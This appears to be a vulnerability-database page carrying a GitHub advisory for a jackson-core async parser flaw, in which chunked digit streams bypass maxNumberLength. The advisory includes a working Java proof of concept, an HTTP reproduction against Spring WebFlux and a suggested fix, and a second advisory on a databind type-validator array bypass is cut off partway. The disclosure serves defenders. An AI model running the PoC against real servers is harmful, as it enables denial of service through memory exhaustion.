As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows on every chunk, and validateIntegerLength is never invoked. The accumulator is only gated by maxStringLength (20 MiB default) — a ~20,000x amplification of the documented maxNumberLength (1000 default).
This is the same vulnerability class, same advisory wording ("Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers"), same parser class — just the streaming path the original fix didn't cover. The fix to the fraction path is correct (see _finishFloatFraction at line 1834-1837 of NonBlockingUtf8JsonParserBase.java in 2.18.6, where _setFractLength(fractLen) IS called before the NOT_AVAILABLE return); the equivalent call is missing from every integer-digit path.
Affected versions
Verified on the patched releases:
- com.fasterxml.jackson.core:jackson-core 2.18.6
- com.fasterxml.jackson.core:jackson-core 2.21.1
Structurally identical code in tools.jackson.core 3.0.x / 3.1.x — same NonBlockingUtf8JsonParserBase class, same _setIntLength rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.
Affected code
src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java in 2.18.6 / 2.21.1.
Site 1 — _startPositiveNumber(int ch) lines 1320-1330:
if (outPtr >= outBuf.length) {
// NOTE: must expand to ensure contents all in a single buffer (to keep
// other parts of parsing simpler)
outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
if (++_inputPtr >= _inputEnd) {
_minorState = MINOR_NUMBER_INTEGER_DIGITS;
_textBuffer.setCurrentLength(outPtr);
return _updateTokenToNA(); // <-- no validateIntegerLength(outPtr)
}
Site 2 — _finishNumberIntegralPart lines 1691-1727:
protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
int negMod = _numberNegative ? -1 : 0;
while (true) {
if (_inputPtr >= _inputEnd) {
_minorState = MINOR_NUMBER_INTEGER_DIGITS;
_textBuffer.setCurrentLength(outPtr);
return _updateTokenToNA(); // <-- no validateIntegerLength(outPtr + negMod)
}
int ch = getByteFromBuffer(_inputPtr) & 0xFF;
if (ch < INT_0) {
if (ch == INT_PERIOD) {
_setIntLength(outPtr+negMod); // <-- validated here
++_inputPtr;
return _startFloat(outBuf, outPtr, ch);
}
break;
}
if (ch > INT_9) {
if ((ch | 0x20) == INT_e) {
_setIntLength(outPtr+negMod); // <-- validated here
++_inputPtr;
return _startFloat(outBuf, outPtr, ch);
}
break;
}
++_inputPtr;
if (outPtr >= outBuf.length) {
outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
}
_setIntLength(outPtr+negMod); // <-- validated here
_textBuffer.setCurrentLength(outPtr);
return _valueComplete(JsonToken.VALUE_NUMBER_INT);
}
The pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every "ran out of input mid-integer" exit returns to the caller without validating the accumulator length.
Compare with the fraction path that is correct
_finishFloatFraction lines 1827-1838:
while (loop) {
if (ch >= INT_0 && ch <= INT_9) {
++fractLen;
if (outPtr >= outBuf.length) {
outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
if (_inputPtr >= _inputEnd) {
_textBuffer.setCurrentLength(outPtr);
_setFractLength(fractLen); // <-- VALIDATED
return JsonToken.NOT_AVAILABLE;
}
ch = getNextSignedByteFromBuffer();
}
...
}
Impact
Reactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping JsonFactory.createNonBlockingByteArrayParser() or createNonBlockingByteBufferParser()) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set StreamReadConstraints.builder().maxNumberLength(N) on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to maxStringLength (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.
The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser on complete input are not affected — those paths go through _setIntLength or ParserBase._reportTooLongIntegral correctly.
CWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.
Proof of concept
Standalone PoC, no Maven required:
mkdir poc && cd poc
curl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar
cat > PoC.java <<'EOF'
import com.fasterxml.jackson.core.*;
import com.fasterxml.jackson.core.async.ByteArrayFeeder;
public class PoC {
public static void main(String[] args) throws Exception {
StreamReadConstraints strict = StreamReadConstraints.builder()
.maxNumberLength(1000)
.build();
JsonFactory f = new JsonFactoryBuilder()
.streamReadConstraints(strict)
.build();
// Sanity: synchronous parser rejects 5000-digit int.
try (JsonParser p = f.createParser("{\"v\":" + "1".repeat(5000) + "}")) {
while (p.nextToken() != null) { /* drive */ }
System.out.println("[-] BUG ABSENT: sync parser accepted");
return;
} catch (Exception e) {
System.out.println("[+] sync parser rejected 5000-digit int: " + e.getClass().getSimpleName());
}
// Bug: async parser, chunked, no terminator.
JsonParser ap = f.createNonBlockingByteArrayParser();
ByteArrayFeeder feeder = (ByteArrayFeeder) ap;
byte[] preamble = "{\"v\":".getBytes("UTF-8");
feeder.feedInput(preamble, 0, preamble.length);
while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }
byte[] digits = new byte[16 * 1024];
for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9));
for (int c = 0; c < 600; c++) {
feeder.feedInput(digits, 0, digits.length);
JsonToken t = ap.nextToken();
if (t != JsonToken.NOT_AVAILABLE) {
System.out.println("[-] unexpected token: " + t);
return;
}
}
System.out.println("[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000");
// Closing the number now finally triggers the validator.
feeder.feedInput("}".getBytes("UTF-8"), 0, 1);
feeder.endOfInput();
try {
while (ap.nextToken() != null) { /* drive */ }
} catch (Exception e) {
System.out.println("[*] late rejection on close: " + e.getMessage().split("\n")[0]);
}
ap.close();
}
}
EOF
javac -cp jackson-core-2.18.6.jar PoC.java
java -Xmx256m -cp jackson-core-2.18.6.jar:. PoC
Observed output against jackson-core-2.18.6:
[+] sync parser rejected 5000-digit int: StreamConstraintsException
[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000
[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)
Observed output against jackson-core-2.21.1: identical.
The 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is maxStringLength = 20 MiB. With the strict policy declared as maxNumberLength = 1000, the parser permits 9830x more allocation than the policy allows. With maxStringLength left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of char[] heap (chars are 2 bytes each) before the validator finally fires on terminator/endOfInput(). Multiply by concurrent connections.
End-to-end reproduction through real HTTP
Supplements the standalone PoC with a running Spring Boot WebFlux server, driving the same bug through the actual reactor-netty + Jackson2JsonDecoder streaming-decode path that production reactive endpoints use.
Setup:
- Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)
- jackson-databind 2.17.2, jackson-core overridden:
- VULN run: com.fasterxml.jackson.core:jackson-core:2.18.7 (latest published)
- PATCHED run: 2.18.8-SNAPSHOT built from the fix branch
- JVM: OpenJDK 17.0.18
- Server JsonFactory configured with StreamReadConstraints.builder().maxNumberLength(1000).build()
Endpoint under test exposes the Flux<DataBuffer> request body directly to
Jackson2JsonDecoder.decode(Flux, ResolvableType, ...) so the parser sees one
HTTP chunk per feedInput (the same pattern used for any
@RequestBody Flux<...> / streaming JSON decoder in WebFlux). A raw-socket
HTTP/1.1 chunked client streams {"v":1 then 250 chunks of 200 digit bytes
each (50,000 digits total) at 20ms intervals, then writes the closing }.
VULN — jackson-core 2.18.7:
[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting
[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:
HTTP/1.1 200 OK
ERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:
Number value length (50000) exceeds the maximum allowed (1000, ...)
Server-side controller trace (250 DataBuffer arrivals elided):
[ctrl] DataBuffer arrived size=6 ms=39 <- '{"v":1'
[ctrl] DataBuffer arrived size=200 ms=42
...
[ctrl] DataBuffer arrived size=199 ms=5993
[ctrl] DataBuffer arrived size=1 ms=6518 <- closing '}'
[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...
Server held all 50,000 digit characters in _textBuffer for 6.5 seconds with
maxNumberLength=1000 declared. The validator never fires during streaming;
it only fires at value-completion when the closing } arrives.
PATCHED — jackson-core 2.18.8-SNAPSHOT (fix branch):
[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe
[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream
Server-side controller trace:
[ctrl] DataBuffer arrived size=6 ms=129
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=145
[ctrl] DataBuffer arrived size=200 ms=146
[ctrl] DataBuffer arrived size=200 ms=147
[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)
Patched server raises StreamConstraintsException at 155ms after only 5
DataBuffers, exactly when the accumulated digit count crosses
maxNumberLength=1000. The connection is reset mid-stream rather than the
parser silently consuming the rest of the attacker's payload.
Side-by-side:
| Build | Chunks accepted before exception | Digits buffered | Time to detection |
|---|---|---|---|
| jackson-core 2.18.7 | 250 (full payload) | 50,000 (50x the configured limit) | 6,548ms — only at terminator |
| 2.18.8-SNAPSHOT (fix branch) | 5 | 1,001 | 155ms — moment threshold crossed |
Note on the default @RequestBody Mono<JsonNode> path: that path cannot
distinguish the two builds because Spring's decodeToMono joins all
DataBuffers into one before parsing. The exploitable shape is the
streaming-decode path (Flux<JsonNode> / @RequestBody Flux<...> /
WebSocket / SSE / any direct decoder.decode(Flux<DataBuffer>, ...) call),
which is also what Jackson2Tokenizer uses for any streaming JSON
deserialization in WebFlux and Quarkus reactive REST.
Suggested fix
Mirror the pattern already used in _finishFloatFraction. At every site that returns _updateTokenToNA() (or JsonToken.NOT_AVAILABLE) with _minorState = MINOR_NUMBER_INTEGER_DIGITS, call _setIntLength(outPtr + negMod) first. Concretely, the diff to NonBlockingUtf8JsonParserBase.java would be:
protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
int negMod = _numberNegative ? -1 : 0;
while (true) {
if (_inputPtr >= _inputEnd) {
_minorState = MINOR_NUMBER_INTEGER_DIGITS;
_textBuffer.setCurrentLength(outPtr);
+ _streamReadConstraints.validateIntegerLength(outPtr + negMod);
return _updateTokenToNA();
}
Note: _setIntLength itself can't be used as-is because it also assigns _intLength, and _intLength must not be set until the integer is truly complete (subsequent fraction handling reads _intLength). The minimal fix is to call only the validator, as shown.
Apply the same one-line insertion before each return _updateTokenToNA(); that exits with _minorState = MINOR_NUMBER_INTEGER_DIGITS. The sites are listed above (12 lines total).
Alternatively, a heavier refactor: also gate _textBuffer.expandCurrentSegment() calls inside the digit-accumulation loops on outPtr < maxNumberLength so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.
Credit
Reported by tonghuaroot (tonghuaroot@gmail.com). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.18.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T21:58:53Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe fix released in jackson-core `2.18.6` and `2.21.1` for [GHSA-72hv-8253-57qq](https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq) (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit `b0c428e6` (#1555) wired `validateIntegerLength` into a new `_setIntLength` helper and called it at every place where the integer portion of a number is *decided* (terminator byte arrived, `.` / `e/E` seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: \"ran out of input while still inside `MINOR_NUMBER_INTEGER_DIGITS`, return `NOT_AVAILABLE` to caller\".\n\nAs a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside `MINOR_NUMBER_INTEGER_DIGITS` indefinitely. `_textBuffer.expandCurrentSegment()` grows on every chunk, and `validateIntegerLength` is never invoked. The accumulator is only gated by `maxStringLength` (20 MiB default) \u2014 a **~20,000x amplification** of the documented `maxNumberLength` (1000 default).\n\nThis is the same vulnerability class, same advisory wording (\"Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers\"), same parser class \u2014 just the streaming path the original fix didn\u0027t cover. The fix to the *fraction* path is correct (see `_finishFloatFraction` at line 1834-1837 of `NonBlockingUtf8JsonParserBase.java` in 2.18.6, where `_setFractLength(fractLen)` IS called before the `NOT_AVAILABLE` return); the equivalent call is missing from every integer-digit path.\n\n## Affected versions\n\nVerified on the patched releases:\n- `com.fasterxml.jackson.core:jackson-core` **2.18.6**\n- `com.fasterxml.jackson.core:jackson-core` **2.21.1**\n\nStructurally identical code in `tools.jackson.core` 3.0.x / 3.1.x \u2014 same `NonBlockingUtf8JsonParserBase` class, same `_setIntLength` rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.\n\n## Affected code\n\n[`src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java`](https://github.com/FasterXML/jackson-core/blob/b0c428e6/src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java) in 2.18.6 / 2.21.1.\n\n### Site 1 \u2014 `_startPositiveNumber(int ch)` lines 1320-1330:\n\n```java\nif (outPtr \u003e= outBuf.length) {\n // NOTE: must expand to ensure contents all in a single buffer (to keep\n // other parts of parsing simpler)\n outBuf = _textBuffer.expandCurrentSegment();\n}\noutBuf[outPtr++] = (char) ch;\nif (++_inputPtr \u003e= _inputEnd) {\n _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n _textBuffer.setCurrentLength(outPtr);\n return _updateTokenToNA(); // \u003c-- no validateIntegerLength(outPtr)\n}\n```\n\n### Site 2 \u2014 `_finishNumberIntegralPart` lines 1691-1727:\n\n```java\nprotected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n int negMod = _numberNegative ? -1 : 0;\n\n while (true) {\n if (_inputPtr \u003e= _inputEnd) {\n _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n _textBuffer.setCurrentLength(outPtr);\n return _updateTokenToNA(); // \u003c-- no validateIntegerLength(outPtr + negMod)\n }\n int ch = getByteFromBuffer(_inputPtr) \u0026 0xFF;\n if (ch \u003c INT_0) {\n if (ch == INT_PERIOD) {\n _setIntLength(outPtr+negMod); // \u003c-- validated here\n ++_inputPtr;\n return _startFloat(outBuf, outPtr, ch);\n }\n break;\n }\n if (ch \u003e INT_9) {\n if ((ch | 0x20) == INT_e) {\n _setIntLength(outPtr+negMod); // \u003c-- validated here\n ++_inputPtr;\n return _startFloat(outBuf, outPtr, ch);\n }\n break;\n }\n ++_inputPtr;\n if (outPtr \u003e= outBuf.length) {\n outBuf = _textBuffer.expandCurrentSegment();\n }\n outBuf[outPtr++] = (char) ch;\n }\n _setIntLength(outPtr+negMod); // \u003c-- validated here\n _textBuffer.setCurrentLength(outPtr);\n return _valueComplete(JsonToken.VALUE_NUMBER_INT);\n}\n```\n\nThe pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 \u2014 every \"ran out of input mid-integer\" exit returns to the caller without validating the accumulator length.\n\n### Compare with the fraction path that is correct\n\n`_finishFloatFraction` lines 1827-1838:\n\n```java\nwhile (loop) {\n if (ch \u003e= INT_0 \u0026\u0026 ch \u003c= INT_9) {\n ++fractLen;\n if (outPtr \u003e= outBuf.length) {\n outBuf = _textBuffer.expandCurrentSegment();\n }\n outBuf[outPtr++] = (char) ch;\n if (_inputPtr \u003e= _inputEnd) {\n _textBuffer.setCurrentLength(outPtr);\n _setFractLength(fractLen); // \u003c-- VALIDATED\n return JsonToken.NOT_AVAILABLE;\n }\n ch = getNextSignedByteFromBuffer();\n }\n ...\n}\n```\n\n## Impact\n\nReactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping `JsonFactory.createNonBlockingByteArrayParser()` or `createNonBlockingByteBufferParser()`) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set `StreamReadConstraints.builder().maxNumberLength(N)` on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to `maxStringLength` (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.\n\nThe synchronous parsers (`UTF8StreamJsonParser`, `ReaderBasedJsonParser`) and the async parser on *complete* input are not affected \u2014 those paths go through `_setIntLength` or `ParserBase._reportTooLongIntegral` correctly.\n\nCWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.\n\n## Proof of concept\n\nStandalone PoC, no Maven required:\n\n```\nmkdir poc \u0026\u0026 cd poc\ncurl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar\ncat \u003e PoC.java \u003c\u003c\u0027EOF\u0027\nimport com.fasterxml.jackson.core.*;\nimport com.fasterxml.jackson.core.async.ByteArrayFeeder;\n\npublic class PoC {\n public static void main(String[] args) throws Exception {\n StreamReadConstraints strict = StreamReadConstraints.builder()\n .maxNumberLength(1000)\n .build();\n JsonFactory f = new JsonFactoryBuilder()\n .streamReadConstraints(strict)\n .build();\n\n // Sanity: synchronous parser rejects 5000-digit int.\n try (JsonParser p = f.createParser(\"{\\\"v\\\":\" + \"1\".repeat(5000) + \"}\")) {\n while (p.nextToken() != null) { /* drive */ }\n System.out.println(\"[-] BUG ABSENT: sync parser accepted\");\n return;\n } catch (Exception e) {\n System.out.println(\"[+] sync parser rejected 5000-digit int: \" + e.getClass().getSimpleName());\n }\n\n // Bug: async parser, chunked, no terminator.\n JsonParser ap = f.createNonBlockingByteArrayParser();\n ByteArrayFeeder feeder = (ByteArrayFeeder) ap;\n\n byte[] preamble = \"{\\\"v\\\":\".getBytes(\"UTF-8\");\n feeder.feedInput(preamble, 0, preamble.length);\n while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }\n\n byte[] digits = new byte[16 * 1024];\n for (int i = 0; i \u003c digits.length; i++) digits[i] = (byte) (\u00271\u0027 + (i % 9));\n\n for (int c = 0; c \u003c 600; c++) {\n feeder.feedInput(digits, 0, digits.length);\n JsonToken t = ap.nextToken();\n if (t != JsonToken.NOT_AVAILABLE) {\n System.out.println(\"[-] unexpected token: \" + t);\n return;\n }\n }\n System.out.println(\"[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\");\n\n // Closing the number now finally triggers the validator.\n feeder.feedInput(\"}\".getBytes(\"UTF-8\"), 0, 1);\n feeder.endOfInput();\n try {\n while (ap.nextToken() != null) { /* drive */ }\n } catch (Exception e) {\n System.out.println(\"[*] late rejection on close: \" + e.getMessage().split(\"\\n\")[0]);\n }\n ap.close();\n }\n}\nEOF\njavac -cp jackson-core-2.18.6.jar PoC.java\njava -Xmx256m -cp jackson-core-2.18.6.jar:. PoC\n```\n\nObserved output against `jackson-core-2.18.6`:\n\n```\n[+] sync parser rejected 5000-digit int: StreamConstraintsException\n[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\n[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)\n```\n\nObserved output against `jackson-core-2.21.1`: identical.\n\nThe 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is `maxStringLength = 20 MiB`. With the strict policy declared as `maxNumberLength = 1000`, the parser permits **9830x** more allocation than the policy allows. With `maxStringLength` left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of `char[]` heap (chars are 2 bytes each) before the validator finally fires on terminator/`endOfInput()`. Multiply by concurrent connections.\n\n## End-to-end reproduction through real HTTP\n\nSupplements the standalone PoC with a running Spring Boot WebFlux server,\ndriving the same bug through the actual reactor-netty + Jackson2JsonDecoder\nstreaming-decode path that production reactive endpoints use.\n\nSetup:\n- Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)\n- jackson-databind 2.17.2, jackson-core overridden:\n - VULN run: `com.fasterxml.jackson.core:jackson-core:2.18.7` (latest published)\n - PATCHED run: `2.18.8-SNAPSHOT` built from the fix branch\n- JVM: OpenJDK 17.0.18\n- Server `JsonFactory` configured with `StreamReadConstraints.builder().maxNumberLength(1000).build()`\n\nEndpoint under test exposes the `Flux\u003cDataBuffer\u003e` request body directly to\n`Jackson2JsonDecoder.decode(Flux, ResolvableType, ...)` so the parser sees one\nHTTP chunk per `feedInput` (the same pattern used for any\n`@RequestBody Flux\u003c...\u003e` / streaming JSON decoder in WebFlux). A raw-socket\nHTTP/1.1 chunked client streams `{\"v\":1` then 250 chunks of 200 digit bytes\neach (50,000 digits total) at 20ms intervals, then writes the closing `}`.\n\nVULN \u2014 jackson-core 2.18.7:\n```\n[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting\n[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:\nHTTP/1.1 200 OK\nERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:\n Number value length (50000) exceeds the maximum allowed (1000, ...)\n```\nServer-side controller trace (250 DataBuffer arrivals elided):\n```\n[ctrl] DataBuffer arrived size=6 ms=39 \u003c- \u0027{\"v\":1\u0027\n[ctrl] DataBuffer arrived size=200 ms=42\n...\n[ctrl] DataBuffer arrived size=199 ms=5993\n[ctrl] DataBuffer arrived size=1 ms=6518 \u003c- closing \u0027}\u0027\n[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...\n```\nServer held all 50,000 digit characters in `_textBuffer` for 6.5 seconds with\n`maxNumberLength=1000` declared. The validator never fires during streaming;\nit only fires at value-completion when the closing `}` arrives.\n\nPATCHED \u2014 jackson-core 2.18.8-SNAPSHOT (fix branch):\n```\n[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe\n[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream\n```\nServer-side controller trace:\n```\n[ctrl] DataBuffer arrived size=6 ms=129\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=145\n[ctrl] DataBuffer arrived size=200 ms=146\n[ctrl] DataBuffer arrived size=200 ms=147\n[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)\n```\nPatched server raises `StreamConstraintsException` at 155ms after only 5\nDataBuffers, exactly when the accumulated digit count crosses\n`maxNumberLength=1000`. The connection is reset mid-stream rather than the\nparser silently consuming the rest of the attacker\u0027s payload.\n\nSide-by-side:\n\n| Build | Chunks accepted before exception | Digits buffered | Time to detection |\n|---|---|---|---|\n| jackson-core 2.18.7 | 250 (full payload) | 50,000 (50x the configured limit) | 6,548ms \u2014 only at terminator |\n| 2.18.8-SNAPSHOT (fix branch) | 5 | 1,001 | 155ms \u2014 moment threshold crossed |\n\nNote on the default `@RequestBody Mono\u003cJsonNode\u003e` path: that path cannot\ndistinguish the two builds because Spring\u0027s `decodeToMono` joins all\nDataBuffers into one before parsing. The exploitable shape is the\nstreaming-decode path (`Flux\u003cJsonNode\u003e` / `@RequestBody Flux\u003c...\u003e` /\nWebSocket / SSE / any direct `decoder.decode(Flux\u003cDataBuffer\u003e, ...)` call),\nwhich is also what `Jackson2Tokenizer` uses for any streaming JSON\ndeserialization in WebFlux and Quarkus reactive REST.\n\n## Suggested fix\n\nMirror the pattern already used in `_finishFloatFraction`. At every site that returns `_updateTokenToNA()` (or `JsonToken.NOT_AVAILABLE`) with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`, call `_setIntLength(outPtr + negMod)` first. Concretely, the diff to `NonBlockingUtf8JsonParserBase.java` would be:\n\n```diff\n protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n int negMod = _numberNegative ? -1 : 0;\n\n while (true) {\n if (_inputPtr \u003e= _inputEnd) {\n _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n _textBuffer.setCurrentLength(outPtr);\n+ _streamReadConstraints.validateIntegerLength(outPtr + negMod);\n return _updateTokenToNA();\n }\n```\n\nNote: `_setIntLength` itself can\u0027t be used as-is because it also assigns `_intLength`, and `_intLength` must not be set until the integer is truly complete (subsequent fraction handling reads `_intLength`). The minimal fix is to call only the validator, as shown.\n\nApply the same one-line insertion before each `return _updateTokenToNA();` that exits with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`. The sites are listed above (12 lines total).\n\nAlternatively, a heavier refactor: also gate `_textBuffer.expandCurrentSegment()` calls inside the digit-accumulation loops on `outPtr \u003c maxNumberLength` so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.\n\n## Credit\n\nReported by `tonghuaroot` (`tonghuaroot@gmail.com`). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.",
"id": "GHSA-r7wm-3cxj-wff9",
"modified": "2026-08-03T20:30:41Z",
"published": "2026-07-21T21:58:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-r7wm-3cxj-wff9"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/pull/1611"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/050b429804dce2a7e08f0be1b0b4c3d040fdb9cd"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/4cdd529749da396cc7edf6d4a2aad41d47902641"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/c5941e5aae7fd5aeac55d66933cfb82b9aabeef8"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)"
}
GHSA-RMJ7-2VXQ-3G9F
Vulnerability from github – Published: 2026-06-23 21:22 – Updated: 2026-08-14 15:32Summary
BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray() allowlists any array type based only on clazz.isArray(), without validating the array's component (element) type against the configured allowlist. A PTV built with allowIfSubTypeIsArray() plus an explicit concrete-type allowlist therefore still permits EvilType[] even though EvilType is not allowlisted. When Jackson deserializes the elements and no per-element type IDs are present, it instantiates the component type directly with no further PTV check, bypassing the allowlist.
Impact
Applications using BasicPolymorphicTypeValidator with allowIfSubTypeIsArray() as a safeguard get no protection for concrete array component types; an attacker controlling JSON can instantiate non-allowlisted types via an array wrapper, re-opening the gadget-instantiation risk PTV is meant to prevent.
Affected / Patched (verified via git tag --contains)
- 2.18 line:
>= 2.10.0, < 2.18.8-> fixed in 2.18.8 - 2.19-2.21 line:
>= 2.19.0, < 2.21.4-> fixed in 2.21.4 - 3.x line:
>= 3.0.0, < 3.1.4-> fixed in 3.1.4
PolymorphicTypeValidator was added in 2.10.0 so vulnerability N/A for versions prior to that.
Severity / CWE
Maintainer: significant. Reporter: HIGH. CWE-184 (Incomplete List of Disallowed Inputs); related CWE-502.
Upstream fix
FasterXML/jackson-databind#5981; fix PR #5983 (24529da), 2.18 backport PR #5984 (01d1692). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.
Credits
Omkhar Arasaratnam (@omkhar) - finder.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.10.0"
},
{
"fixed": "2.18.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
